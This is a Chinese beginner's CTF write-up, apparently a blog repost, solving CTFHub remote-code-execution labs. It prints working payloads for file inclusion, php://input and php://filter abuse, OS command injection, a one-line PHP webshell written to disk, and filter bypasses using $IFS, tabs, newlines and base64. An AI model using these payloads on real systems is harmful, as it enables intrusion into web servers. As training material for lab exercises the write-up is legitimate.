IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 初识CTF Day3 -> 正文阅读

[PHP知识库]初识CTF Day3

前言
今天就开始RCE的探索了
0

RCE

文件包含

这里eval执行在昨天晚上做过了,所以就不说了,开始文件包含这题
这个题目他给了一个include()函数,他还给了一个写有一句话木马的txt文件
1这段代码的大致意思就是,你把哪个我给你的shell.txt文件放到里面去啦
然后照着做就可以了
所以payload就是 ?file=shell.txt
这里直接连接中国蚁剑,密码为ctfhub(可在shell.txt里看到密码)
2
flag在根目录下,本题结束

php://input

身为一个小白,看到这个题目我是不会的,然后上网找资料,好像是把post获取不到的东西获取到
???
看不太懂
然后花了10个金币看了下wp,这里貌似是抓了个包,在数据包下面写上了指令
我也试一下 <?php phpinfo(); ?>
3他出现了
这时赶紧使用其他的命令试试 <?php system("ls /") ?>
4
看到了flag文件,稍微康康 <?php system("cat /flag_1596") ?>

5成功得到flag,本题结束
但是还是不太明白原理,只知道它可以进行数据的传递
post可以,试下get。。。啥也没有
那么大致了解了这个php://input,它就是可以将post传入的数据获取并执行
参考官方的wp,这个也不是万能的,因为需要满足条件allow_url_include为on
所以题目中给出了phpinfo()的信息
学到了,感谢wp

读取源代码

这题根据他的位置和上一题wp的提示,可知这个可能就是另一种那个file什么的那个东西
但是。。还是不会,就又看了wp的解释,说里面有参数为resource后面跟的才是指令
6
上一题大致理解为post传参,这题就是get传参
所以构造payload(又因为题目直接给出了flag的位置)
7这里就直接拿出payload
/?file=php://filter/resource=/flag

8题目结束
笔记:

名称条件用法
php://inputallow_url_include为onfile=php://input,数据包下面post以PHP格式传入指令
php://filter/resourceresource=文件file=php://filter/resource=文件

远程包含

看起来和input那道题很像所以使用一样的方法,先看下条件是否满足
9条件满足,下一步抓包
10再下一步读取flag
11成功读取到flag
但是,这道题和input一样的话官方就没必要出了,所以看了下wp果然还有其他解法
但是我发现根本没有服务器,所以就没搞

命令注入

这一题里面出现了exec()函数,这个函数是可以将其中的内容当作系统命令执行的
12所以构造测试的payload
?ip=127.0.0.1 | ipconfig
发现没有成功
试一下 ip a
?ip=127.0.0.1 | ip a
13成功
下一步ls / ,发现没有flag
那就看一下所在目录ls -l
发现了一个可疑的PHP文件
14看一下该文件发现并没有回显,看网页源代码发现flag
15提交成功,下一题

过滤cat

16看到源码,里面有preg_match_all()这个函数,这个函数的作用就是把第一参数的正则表达式运用到第二参数中进行过滤,然后把结果放到第三参数里
对于这道题,也就是说ip内容若是有cat,那m就为ip,返回值为1,那么前面的否定就会生效,就不会执行if里的语句,直接到了else,所以是过滤了cat

首先看下目录**?ip=127.0.0.1 | ls -l**
18里面有疑似flag的文件,现在想查看他的内容肯定是不能使用cat这个指令了
那么现在上传木马
(搜索了下网上的wp,上传木马死活没上传成功,一直都是那两个文件)
经过了几次测试得到下面的payload是真的可以上传并连接成功
?ip=127.0.0.1 | echo -e “<?php eval(\$_REQUEST[8]);?>” >2.php
17这里的-e是启用\的转义功能,那个\说实话我也不知道是什么作用,但是没有它就是不能连接成功,因为连接时返回值为空,如果有知道\是什么意思的大佬,可以评论区留言或者私信我都可以,同时会在该文中进行说明,还有网上的wp使用的符号不是|而是&,但是我使用&是执行不了命令的,奇奇怪怪。。。
附上我测试的文件
18提交成功,下一题

过滤空格

这一题说让绕过空格,我就去网上搜了一下,我受益匪浅,学到了学到了
绕过空格的几种姿势(下面来自于wp)

<<>%20(space)%09(tab)、\$IFS\$9、 \${IFS}$IFS

首先看一下flag在哪里 ?ip=127.0.0.1|ls
找到flag后进行读取 ?ip=127.0.0.1|cat<flag_19248278426250.php
查看源代码得到flag
19

过滤目录分隔符

首先看一下flag在哪里 ?ip=127.0.0.1|ls
20
貌似是一个目录
查看一下该目录
?ip=127.0.0.1|ls flag_is_here
发现flag在目录里面,总算知道为啥过滤目录分隔符了
21
上网上找,呃,什么都有,还是直接看wp最快
22这个题目还是有点奇葩的,前面的都不需要url编码就他要用,不然做不出来的
原payload:?ip=;cd flag_is_here&&cat flag_236035076495.php
编码后:?ip=%3Bcd flag_is_here%26%26cat flag_236035076495.php
查看源代码得到flag
23

过滤运算符

看目录 ?ip=;ls
24
看文件(因去掉了运算符,所以使用;代替)
?ip=;cat flag_41192768231776.php

综合过滤练习

这里看源码就看出这里非常丧心病狂基本都过滤了
但是经过之前的几题这道题也已经不是问题了doge
25%0A代替;也就是换行
?ip=%0Als

$IFS代替空格,%09代替TAB键,用来补全flag

?ip=%0Als%0Acd$IFS%09*_is_here%0Als

26
找到flag文件了,接下来就是读取,可以利用base64编码绕过

?ip=%0Als%0Acd$IFS%09*_is_here%0Abase64$IFS%09*_24135173615424.php
27拿去解码
28
得到flag

(此处参考了大佬的博客,感谢感谢)
https://www.cnblogs.com/0yst3r-2046/p/12617703.html

结束

写在最后
淦早饭。。。下午茶啦,下次见

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-29 10:00:59  更:2021-09-29 10:01:12 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 5:42:30-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计